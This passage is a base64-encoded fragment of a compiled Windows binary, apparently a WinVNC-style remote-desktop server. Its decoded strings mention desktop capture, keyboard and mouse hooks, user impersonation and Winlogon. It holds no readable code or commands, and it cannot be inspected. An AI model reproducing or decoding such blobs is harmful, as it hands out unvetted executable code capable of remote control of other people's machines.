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AAABAAAAIgWTGQEAAACoDwUAAAAAAAAAAAADAAAAFBEFACAAAAAAAAAAAQAAACIFkxkBAAAAjBUFAAAAAAAAAAAAAwAAAEQRBQAgAAAAAAAAAAEAAAAiBZMZAQAAAKgPBQAAAAAAAAAAAAMAAACcEQUAIAAAAAAAAAABAAAAIgWTGQEAAACoDwUAAAAAAAAAAAADAAAAzBEFACAAAAAAAAAAAQAAACIFkxkBAAAAqA8FAAAAAAAAAAAAAwAAAAASBQAgAAAAAAAAAAEAAAAiBZMZAQAAAKgPBQAAAAAAAAAAAAMAAAA0EgUAIAAAAAAAAAABAAAAIgWTGQEAAABoEgUAAAAAAAAAAAADAAAAcBIFACAAAAAAAAAAAQAAACIFkxkBAAAAqA8FAAAAAAAAAAAAAwAAAKASBQAgAAAAAAAAAAEAAAAiBZMZAQAAAKgPBQAAAAAAAAAAAAMAAADUEgUAIAAAAAAAAAABAAAAIgWTGQEAAACoDwUAAAAAAAAAAAADAAAABBMFACAAAAAAAAAAAQAAACIFkxkBAAAAqA8FAAAAAAAAAAAAAwAAADQTBQAgAAAAAAAAAAEAAAAiBZMZAgAAAFwUBQAAAAAAAAAAAAUAAABsFAUAIAAAAAAAAAABAAAAIgWTGQIAAADYFAUAAAAAAAAAAAAFAAAA6BQFADgAAAAAAAAAAQAAACIFkxkBAAAAjBUFAAAAAAAAAAAAAwAAACgVBQAgAAAAAAAAAAEAAAAiBZMZAQAAAIwVBQAAAAAAAAAAAAMAAABUFQUAIAAAAAAAAAABAAAAIgWTGQEAAACMFQUAAAAAAAAAAAADAAAAlBUFACAAAAAAAAAAAQAAACIFkxkBAAAAkPkEAAAAAAAAAAAAAwAAAMQVBQAgAAAAAAAAAAEAAAAiBZMZAQAAAKgPBQAAAAAAAAAAAAMAAABUFgUAIAAAAAAAAAABAAAAIgWTGQEAAACoDwUAAAAAAAAAAAADAAAAhBYFACAAAAAAAAAAAQAAACIFkxkBAAAAqA8FAAAAAAAAAAAAAwAAALQWBQAgAAAAAAAAAAEAAAAiBZMZAQAAAKgPBQAAAAAAAAAAAAMAAADkFgUAIAAAAAAAAAABAAAAIgWTGQEAAACoDwUAAAAAAAAAAAADAAAAFBcFACAAAAAAAAAAAQAAACIFkxkBAAAAjBUFAAAA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IGVycm9yAAAAAAAAAABkaXJlY3Rvcnkgbm90IGVtcHR5AAAAAABpbnZhbGlkIGFyZ3VtZW50AAAAAAAAAABubyBzcGFjZSBvbiBkZXZpY2UAAAAAAABubyBzdWNoIGZpbGUgb3IgZGlyZWN0b3J5AAAAAAAAAGZ1bmN0aW9uIG5vdCBzdXBwb3J0ZWQAAG5vIGxvY2sgYXZhaWxhYmxlAAAAAAAAAG5vdCBlbm91Z2ggbWVtb3J5AAAAAAAAAHJlc291cmNlIHVuYXZhaWxhYmxlIHRyeSBhZ2FpbgAAY3Jvc3MgZGV2aWNlIGxpbmsAAAAAAAAAb3BlcmF0aW9uIGNhbmNlbGVkAAAAAAAAdG9vIG1hbnkgZmlsZXMgb3BlbgAAAAAAcGVybWlzc2lvbl9kZW5pZWQAAAAAAAAAYWRkcmVzc19pbl91c2UAAGFkZHJlc3Nfbm90X2F2YWlsYWJsZQAAAGFkZHJlc3NfZmFtaWx5X25vdF9zdXBwb3J0ZWQAAAAAY29ubmVjdGlvbl9hbHJlYWR5X2luX3Byb2dyZXNzAABiYWRfZmlsZV9kZXNjcmlwdG9yAAAAAABjb25uZWN0aW9uX2Fib3J0ZWQAAAAAAABjb25uZWN0aW9uX3JlZnVzZWQAAAAAAABjb25uZWN0aW9uX3Jlc2V0AAAAAAAAAABkZXN0aW5hdGlvbl9hZGRyZXNzX3JlcXVpcmVkAAAAAGJhZF9hZGRyZXNzAAAAAABob3N0X3VucmVhY2hhYmxlAAAAAAAAAABvcGVyYXRpb25faW5fcHJvZ3Jlc3MAAABpbnRlcnJ1cHRlZAAAAAAAaW52YWxpZF9hcmd1bWVudAAAAAAAAAAAYWxyZWFkeV9jb25uZWN0ZWQAAAAAAAAAdG9vX21hbnlfZmlsZXNfb3BlbgAAAAAAbWVzc2FnZV9zaXplAAAAAGZpbGVuYW1lX3Rvb19sb25nAAAAAAAAAG5ldHdvcmtfZG93bgAAAABuZXR3b3JrX3Jlc2V0AAAAbmV0d29ya191bnJlYWNoYWJsZQAAAAAAbm9fYnVmZmVyX3NwYWNlAG5vX3Byb3RvY29sX29wdGlvbgAAAAAAAG5vdF9jb25uZWN0ZWQAAABub3RfYV9zb2NrZXQAAAAAb3BlcmF0aW9uX25vdF9zdXBwb3J0ZWQAcHJvdG9jb2xfbm90X3N1cHBvcnRlZAAAd3JvbmdfcHJvdG9jb2xfdHlwZQAAAAAAdGltZWRfb3V0AAAAAAAAAG9wZXJhdGlvbl93b3VsZF9ibG9jawAAAGFkZHJlc3MgZmFtaWx5IG5vdCBzdXBwb3J0ZWQAAAAAYWRkcmVzcyBpbiB1c2UAAGFkZHJlc3Mgbm90IGF2YWlsYWJsZQAAAGFscmVhZHkgY29ubmVjdGVkAAAAAAAAAGFyZ3VtZW50IGxpc3QgdG9vIGxvbmcAAGFyZ3VtZW50IG91dCBvZiBkb21haW4AAGJhZCBhZGRyZXNzAAAAAABiYWQgZmlsZSBkZXNjcmlwdG9yAAAAAABiYWQgbWVzc2FnZQAAAAAAYnJva2VuIHBpcGUAAAAAAGNvbm5lY3Rpb24gYWJvcnRlZAAAAAAAAGNvbm5lY3Rpb24gYWxyZWFkeSBpbiBwcm9ncmVzcwAAY29ubmVjdGlvbiByZWZ1c2VkAAAAAAAAY29ubmVjdGlvbiByZXNldAAAAAAAAAAAZGVzdGluYXRpb24gYWRkcmVzcyByZXF1aXJlZAAAAABleGVjdXRhYmxlIGZvcm1hdCBlcnJvcgBmaWxlIHRvbyBsYXJnZQAAaG9zdCB1bnJlYWNoYWJsZQAAAAAAAAAAaWRlbnRpZmllciByZW1vdmVkAAAAAAAAaWxsZWdhbCBieXRlIHNlcXVlbmNlAAAAaW5hcHByb3ByaWF0ZSBpbyBjb250cm9sIG9wZXJhdGlvbgAAAAAAAGludmFsaWQgc2VlawAAAABpcyBhIGRpcmVjdG9yeQAAbWVzc2FnZSBzaXplAAAAAG5ldHdvcmsgZG93bgAAAABuZXR3b3JrIHJlc2V0AAAAbmV0d29yayB1bnJlYWNoYWJsZQAAAAAAbm8gYnVmZmVyIHNwYWNlAG5vIGNoaWxkIHByb2Nlc3MAAAAAAAAAAG5vIGxpbmsAbm8gbWVzc2FnZSBhdmFpbGFibGUAAAAAbm8gbWVzc2FnZQAAAAAAAG5vIHByb3RvY29sIG9wdGlvbgAAAAAAAG5vIHN0cmVhbSByZXNvdXJjZXMAAAAAAG5vIHN1Y2ggZGV2aWNlIG9yIGFkZHJlc3MAAAAAAAAAbm8gc3VjaCBwcm9jZXNzAG5vdCBhIGRpcmVjdG9yeQBub3QgYSBzb2NrZXQAAAAAbm90IGEgc3RyZWFtAAAAAG5vdCBjb25uZWN0ZWQAAABub3Qgc3VwcG9ydGVkAAAAb3BlcmF0aW9uIGluIHByb2dyZXNzAAAAb3BlcmF0aW9uIG5vdCBwZXJtaXR0ZWQAb3BlcmF0aW9uIG5vdCBzdXBwb3J0ZWQAb3BlcmF0aW9uIHdvdWxkIGJsb2NrAAAAb3duZXIgZGVhZAAAAAAAAHByb3RvY29sIGVycm9yAABwcm90b2NvbCBub3Qgc3VwcG9ydGVkAAByZWFkIG9ubHkgZmlsZSBzeXN0ZW0AAAByZXNvdXJjZSBkZWFkbG9jayB3b3VsZCBvY2N1cgAAAHJlc3VsdCBvdXQgb2YgcmFuZ2UAAAAAAHN0YXRlIG5vdCByZWNvdmVyYWJsZQAAAHN0cmVhbSB0aW1lb3V0AAB0ZXh0IGZpbGUgYnVzeQAAdGltZWQgb3V0AAAAAAAAAHRvbyBtYW55IGZpbGVzIG9wZW4gaW4gc3lzdGVtAAAAdG9vIG1hbnkgbGlua3MAAHRvbyBtYW55IHN5bWJvbGljIGxpbmsgbGV2ZWxzAAAAdmFsdWUgdG9vIGxhcmdlAHdyb25nIHByb3RvY29sIHR5cGUAX2h5cG90AAAAAAAAAAAAAAAAAAApAACAAQAAAAAAAAAAAAAAAAAAAAAAAAAPAAAAAAAAACAFkxkAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAzcAoABAAAAbQBzAGMAbwByAGUAZQAuAGQAbABsAAAAQ29yRXhpdFByb2Nlc3MAAKjNBIABAAAAkOUCgAEAAABSb0luaXRpYWxpemUAAAAAYwBvAG0AYgBhAHMAZQAuAGQAbABsAAAAUm9VbmluaXRpYWxpemUAAGNzbeABAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAIAWTGQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACDOBIABAAAAdP0CgAEAAAA0/gKAAQAAAFVua25vd24gZXhjZXB0aW9uAAAAAAAAAPhkBIABAAAACGUEgAEAAAAYZQSAAQAAAChlBIABAAAAagBhAC0ASgBQAAAAAAAAAHoAaAAtAEMATgAAAAAAAABrAG8ALQBLAFIAAAAAAAAAegBoAC0AVABXAAAAU3VuAE1vbgBUdWUAV2VkAFRodQBGcmkAU2F0AFN1bmRheQAAT